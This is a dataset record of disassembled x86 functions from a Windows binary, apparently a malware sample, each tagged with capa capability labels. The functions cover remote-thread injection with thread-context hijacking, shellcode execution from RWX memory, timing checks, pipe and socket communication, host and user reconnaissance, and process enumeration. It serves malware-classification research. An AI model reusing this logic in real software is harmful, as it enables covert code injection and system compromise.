joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004ec1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
neg eax
sbb eax, eax
neg eax
pop ebp
ret

Function at 0x10004ede
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push esi
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
cmp eax, esi
jne 0x10004f08
xor eax, eax
jmp 0x10004f8d
mov ecx, dword [ebp + 8]
add eax, dword [ebp + 0x20]
sub ecx, 6
push edi
je 0x10004f2b
dec ecx
jne 0x10004f77
push esi
push 4
push dword [ebp + 0x14]
push eax
push esi
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x10004f3a
push esi
push 4
push dword [ebp + 0x14]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x10004f77
lea eax, [ebp - 0x2cc]
push eax
push edi
mov dword [ebp - 0x2cc], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10004f77
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x2cc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x10004f7b
xor eax, eax
jmp 0x10004f8c
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
leave
ret
Function at 0x10005245
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push 0x90
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.1001b930
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10005283
xor eax, eax
leave
ret
cmp dword [ebp - 0x94], 5
jne 0x1000529f
cmp dword [ebp - 0x90], 2
jne 0x1000529f
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1000527f
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
mov ebx, 0x3000
push ebx
push 0x4c
push 0
call esi
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x1000531f
push 0x40
push ebx
push 0x149
push 0
call esi
mov ebx, eax
test ebx, ebx
je 0x1000531f
mov eax, dword [ebp + 8]
push 0x13
pop ecx
push 0x4a
mov esi, 0x10032018
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x10032068
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x129]
and dword [esi + 0x18], 0
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x10]
push esi
push ebx
mov dword [esi + 0x10], eax
call dword [ebp - 4]
test eax, eax
jne 0x10005310
push 5
jmp 0x10005319
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x10005323
push 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10005346
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x4000
push edi
push 0
push dword [ebp - 4]
call esi
push edi
push 0
push ebx
call esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000534b
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
cmp dword [ebp + 0xc], 0
je 0x1000535e
xor eax, eax
leave
ret
cmp dword [esi + 0x10], 0
je 0x1000535a
lea eax, [ebp - 0x2cc]
push eax
push dword [esi + 4]
mov dword [ebp - 0x2cc], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000535a
mov eax, dword [ebp + 8]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x2cc]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000535a
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
leave
ret
Function at 0x10005955
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x100059af
or eax, 0xffffffff
jmp 0x100059b7
cmp dword [ebp - 4], 0x80000
jae 0x100059b4
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, 0x80000
sub eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], eax
add dword [ebp + 0xc], eax
jmp 0x1000596b
cmp dword [ebp - 8], esi
ja 0x10005981
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret

Function at 0x1000606f
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
add edi, 0x3a98
call esi
cmp eax, edi
jae 0x100060df
xor eax, eax
push eax
push 0x100000
push 3
push eax
push eax
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000610b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x100060cc
push 0x2710
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x100060d7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, edi
jb 0x1000608e
jmp 0x100060e2
mov ebx, dword [ebp - 8]
cmp ebx, 0xffffffff
jne 0x1000610b
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x79
jne 0x100060fd
push 4
call fcn.10001ee1
jmp 0x10006108
call esi
push eax
push 0x14
call fcn.10001e83
pop ecx
pop ecx
jmp 0x1000616c
push 0
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp - 8], 2
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x10006137
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x14
call fcn.10001e83
pop ecx
pop ecx
jmp 0x1000615e
mov ecx, ebx
lea eax, [ebp - 0x2c]
call fcn.100062dd
sub esp, 0x20
push 8
pop ecx
mov esi, eax
mov edi, esp
push 0x1bd
rep movsd dword es:[edi], dword [esi]
call fcn.10005cb5
add esp, 0x24
test eax, eax
jne 0x1000616c
push ebx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006181
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
xor esi, esi
test edi, edi
jle 0x100061bb
push 0
lea eax, [ebp - 4]
push eax
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100061c4
cmp dword [ebp - 4], 0
je 0x100061c4
add esi, dword [ebp - 4]
cmp esi, edi
jl 0x10006190
cmp esi, edi
jne 0x100061c4
mov eax, esi
pop esi
leave
ret
or eax, 0xffffffff
jmp 0x100061c1
Function at 0x100061c9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
and dword [ebp - 4], esi
xor eax, eax
inc eax
cmp dword [ebp + 0x10], esi
jle 0x10006212
mov eax, dword [ebp + 0x10]
sub eax, esi
cmp eax, 0x2000
jle 0x100061ec
mov eax, 0x2000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10006210
add esi, dword [ebp - 4]
cmp esi, dword [ebp + 0x10]
jl 0x100061db
jmp 0x10006212
xor eax, eax
pop esi
leave
ret

Function at 0x1000630a
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
add esi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
mov dword [ebp - 8], 1
call ebx
cmp eax, 0xffffffff
jne 0x1000636f
xor eax, eax
jmp 0x1000639e
push 2
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10006380
jg 0x10006377
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006380
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
cmp eax, esi
jb 0x10006343
jmp 0x10006384
mov dword [ebp + 0xc], 1
jmp 0x10006384
and dword [ebp + 0xc], 0
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
call ebx
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100063cd
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
test edi, edi
jbe 0x100063fc
push 0
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10006405
test eax, eax
je 0x100063fc
add esi, eax
cmp esi, edi
jb 0x100063d7
cmp esi, edi
jne 0x10006405
mov eax, edi
pop esi
pop ebp
ret
or eax, 0xffffffff
jmp 0x10006402

Function at 0x100064ca
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x8004667e
push edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, fcn.10019247
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 4], edi
mov dword [esi + 8], 0x1000640a
mov dword [esi + 0xc], 0x1000645b
mov dword [esi + 0x10], 0x10006498
mov dword [esi + 0x18], 0x100064b5
mov eax, esi
leave
ret
Function at 0x100065c2
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 0x494
call fcn.10006878
pop ecx
mov esi, 0x94
push esi
push eax
mov dword [ebp - 4], eax
call fcn.10006966
lea edi, [esi + 0x6c]
push edi
push dword [ebp - 4]
mov ebx, eax
call fcn.10006966
push edi
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call fcn.10006966
push edi
push dword [ebp - 4]
mov dword [ebp - 0x18], eax
call fcn.10006966
push edi
push dword [ebp - 4]
mov dword [ebp - 0x14], eax
call fcn.10006966
add esp, 0x28
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push dword [ebp - 0xc]
call fcn.10002575
pop ecx
push edi
push dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1000666f
push 0x5c
push dword [ebp - 0xc]
call fcn.10015630
pop ecx
pop ecx
test eax, eax
je 0x1000666f
inc eax
mov dword [ebp - 0xc], eax
jne 0x10006676
mov dword [ebp - 0xc], 0x1002c6ae
push ebx
mov dword [ebx], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebx + 4]
mov esi, dword [ebp + 8]
mov dword [0x10039cac], eax
movzx eax, al
push eax
call fcn.10001c2f
movzx eax, byte [ebx + 8]
pop ecx
push eax
call fcn.10001c2f
movzx eax, word [ebx + 0xc]
pop ecx
push eax
call fcn.10001c0f
pop ecx
push 0
call fcn.10001bf2
pop ecx
push dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call fcn.10001bf2
pop ecx
push dword [sym.imp.KERNEL32.dll_GetProcAddress]
call fcn.10001bf2
pop ecx
push dword [ebp - 0x1c]
call fcn.10001bf2
pop ecx
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push str._s_t_s_t_s
push edi
push dword [ebp - 0x10]
call fcn.10013db6
mov eax, dword [ebp - 0x10]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100066f3
sub eax, ecx
cmp eax, 0x3a
jle 0x10006704
push 0x3a
pop eax
push dword [ebp - 0x10]
mov ecx, eax
call fcn.10001c41
mov esi, dword [ebp - 4]
pop ecx
call fcn.100068b8
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006a90
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
mov edi, eax
jle 0x10006abe
mov eax, dword [ebp + 0xc]
push 0
sub eax, esi
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add edi, eax
add esi, eax
cmp eax, 0xffffffff
je 0x10006ac4
cmp esi, dword [ebp + 0xc]
jl 0x10006a9e
mov eax, esi
pop edi
pop esi
pop ebp
ret
push 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp + 8]
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
jmp 0x10006ac0
Function at 0x10006b58
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
xor esi, esi
inc esi
push edi
mov dword [ebp - 4], esi
call fcn.1000251a
push 0
push esi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x10006b82
mov eax, edi
jmp 0x10006bd6
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x14], ax
call sub.WS2_32.dll_htons
and dword [ebp - 0x10], 0
mov word [ebp - 0x12], ax
lea eax, [ebp - 4]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x10006bb5
push esi
call sub.WS2_32.dll_closesocket
jmp 0x10006b7e
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
je 0x10006bad
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
je 0x10006bad
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x10006d40
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
add ebx, 0x7530
and dword [ebp - 8], 0
mov dword [ebp - 4], 0x64
jmp 0x10006df8
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
xor ecx, ecx
inc ecx
push 0
push 0
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x110], ecx
call dword [sym.imp.WS2_32.dll_select]
lea eax, [ebp - 0x110]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x10006e02
lea eax, [ebp - 0x218]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10006df8
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x1c]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x10006e02
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006e02
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, ebx
jb 0x10006d6b
pop esi
pop ebx
leave
ret
Function at 0x100070d6
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, dword [0x10036800]
push edi
xor edi, edi
test esi, esi
je 0x1000715c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [esi + 4]
test eax, eax
jne 0x100070fc
cmp dword [esi + 0xc], eax
jne 0x10007107
call ebx
mov dword [esi + 0xc], eax
mov edi, esi
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x100070eb
jmp 0x1000715b
test eax, eax
jne 0x100070fc
call ebx
sub eax, dword [esi + 0xc]
cmp eax, 0x3e8
jbe 0x100070fc
cmp dword [esi + 0x10], 0
jne 0x10007128
push 2
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [esi + 0x1c]
call sub.WS2_32.dll_closesocket
test eax, eax
je 0x1000713a
cmp dword [esi + 0x10], 2
je 0x100070fc
mov eax, dword [esi + 0x20]
push esi
test edi, edi
je 0x10007150
mov dword [edi + 0x20], eax
call fcn.10013b86
mov esi, dword [edi + 0x20]
pop ecx
jmp 0x10007101
mov dword [0x10036800], eax
call fcn.10013b86
pop ecx
pop ebx
pop edi
pop esi
ret

Function at 0x1000715f
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, dword [0x10036800]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [0x10036804], ebx
jne 0x1000722c
push 0x100000
call fcn.10013c63
pop ecx
mov dword [0x10036804], eax
jmp 0x1000722c
cmp dword [esi + 4], 1
jne 0x10007229
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x10036804]
mov dword [ecx], eax
lea eax, [ebp - 4]
push eax
push 0x4004667f
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 4], 0xffffc
jbe 0x100071d0
mov dword [ebp - 4], 0xffffc
cmp eax, 0xffffffff
je 0x100071f4
cmp dword [ebp - 4], ebx
jbe 0x10007229
push dword [ebp - 4]
mov eax, dword [0x10036804]
push dword [esi + 0x1c]
add eax, 4
call fcn.10006a90
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x1000720b
push 4
push 4
push dword [0x10036804]
mov dword [esi + 4], ebx
call fcn.10001345
add esp, 0xc
jmp 0x10007229
mov ecx, dword [ebp - 4]
cmp eax, ecx
jne 0x10007229
push 5
add ecx, 4
push ecx
push dword [0x10036804]
call fcn.10001345
add esp, 0xc
inc dword [ebp - 8]
mov esi, dword [esi + 0x20]
cmp esi, ebx
jne 0x10007195
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x1000844e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 0x10], 0
push esi
push edi
push dword [ebp + 0xc]
xor eax, eax
push dword [ebp + 8]
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
call fcn.100068df
lea eax, [ebp - 0x10]
add esp, 0xc
push eax
call fcn.100068f8
pop ecx
mov edi, eax
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000849e
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x100084b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push 0x23
call fcn.10001ec9
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret
Function at 0x10008528
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94c
push ebx
push esi
push edi
push 0x7ff
xor esi, esi
lea eax, [ebp - 0x947]
push esi
push eax
mov byte [ebp - 0x948], 0
call fcn.1001b930
push dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push dword [ebp + 8]
push eax
call fcn.100068df
lea eax, [ebp - 0x1c]
push eax
call fcn.100068f8
mov dword [ebp - 8], eax
lea eax, [ebp - 0x1c]
push 0x8000
push eax
call fcn.100015e2
add esp, 0x24
cmp dword [ebp - 8], esi
jle 0x1000858e
push dword [ebp - 8]
lea eax, [ebp - 0x1c]
push eax
call fcn.10001632
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.100030ca
pop ecx
test eax, eax
je 0x100085a8
mov dword [ebp - 4], 0x1002c6f8
jmp 0x100085bf
call fcn.1000c703
mov dword [ebp - 4], 0x1002c6f8
test eax, eax
jne 0x100085bf
mov dword [ebp - 4], 0x1002c6fc
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000870b
lea eax, [ebp - 0x148]
push eax
push ebx
mov dword [ebp - 0x148], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x100085f9
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000870b
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x140]
push 0
call fcn.100065b7
neg eax
sbb eax, eax
and eax, 0xc00
add eax, 0x400
push eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x1000864d
push dword [ebp - 0x140]
lea eax, [ebp - 0x124]
push dword [ebp - 0x130]
push eax
lea eax, [ebp - 0x1c]
push str._s_t_d_t_d_n
push eax
call fcn.10001685
add esp, 0x14
jmp 0x100086c0
lea eax, [ebp - 0x948]
push eax
push edi
call fcn.100084bb
pop ecx
pop ecx
test eax, eax
jne 0x10008666
mov byte [ebp - 0x948], al
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x140]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x1000867e
or dword [ebp - 0xc], 0xffffffff
push edi
call fcn.100030ca
test eax, eax
pop ecx
mov eax, 0x1002c6fc
jne 0x10008691
mov eax, dword [ebp - 4]
push dword [ebp - 0xc]
lea ecx, [ebp - 0x948]
push ecx
push eax
push dword [ebp - 0x140]
lea eax, [ebp - 0x124]
push dword [ebp - 0x130]
push eax
lea eax, [ebp - 0x1c]
push str._s_t_d_t_d_t_s_t_s_t_d_n
push eax
call fcn.10001685
add esp, 0x20
push edi
call esi
lea eax, [ebp - 0x148]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100085ff
push ebx
call esi
cmp dword [ebp - 8], 0
lea eax, [ebp - 0x1c]
jne 0x100086e8
push 0x11
jmp 0x100086ea
push 0x16
call fcn.100016e7
push eax
lea eax, [ebp - 0x1c]
call fcn.100016e4
push eax
call fcn.10001345
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
call fcn.100016c4
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000874d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, 0x8000
push ebx
call fcn.10013c63
push dword [ebp + 8]
mov edi, eax
push str._s
push ebx
push edi
call fcn.10013db6
mov esi, dword [ebp + 0xc]
add esp, 0x14
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push edi
mov dword [ebp - 4], eax
call fcn.10013b86
cmp dword [ebp - 4], 0xffffffff
pop ecx
je 0x1000880c
test byte [esi], 0x10
lea eax, [esi + 0x2c]
je 0x10008811
push 2
mov edi, 0x1002c728
mov esi, eax
pop ecx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x100087f2
mov esi, eax
push 3
mov edi, 0x1002c72c
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x100087f2
push ebx
call fcn.10013c63
mov esi, dword [ebp + 0xc]
add esi, 0x2c
push esi
push 0x1002c520
mov edi, eax
push ebx
push edi
call fcn.10013db6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.10008710
push 1
push edi
push dword [ebp + 8]
call dword [ebp + 0x10]
push edi
call fcn.10013b86
add esp, 0x34
mov esi, dword [ebp + 0xc]
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000878e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
push 0
push eax
push dword [ebp + 8]
call dword [ebp + 0x10]
add esp, 0xc
jmp 0x100087f5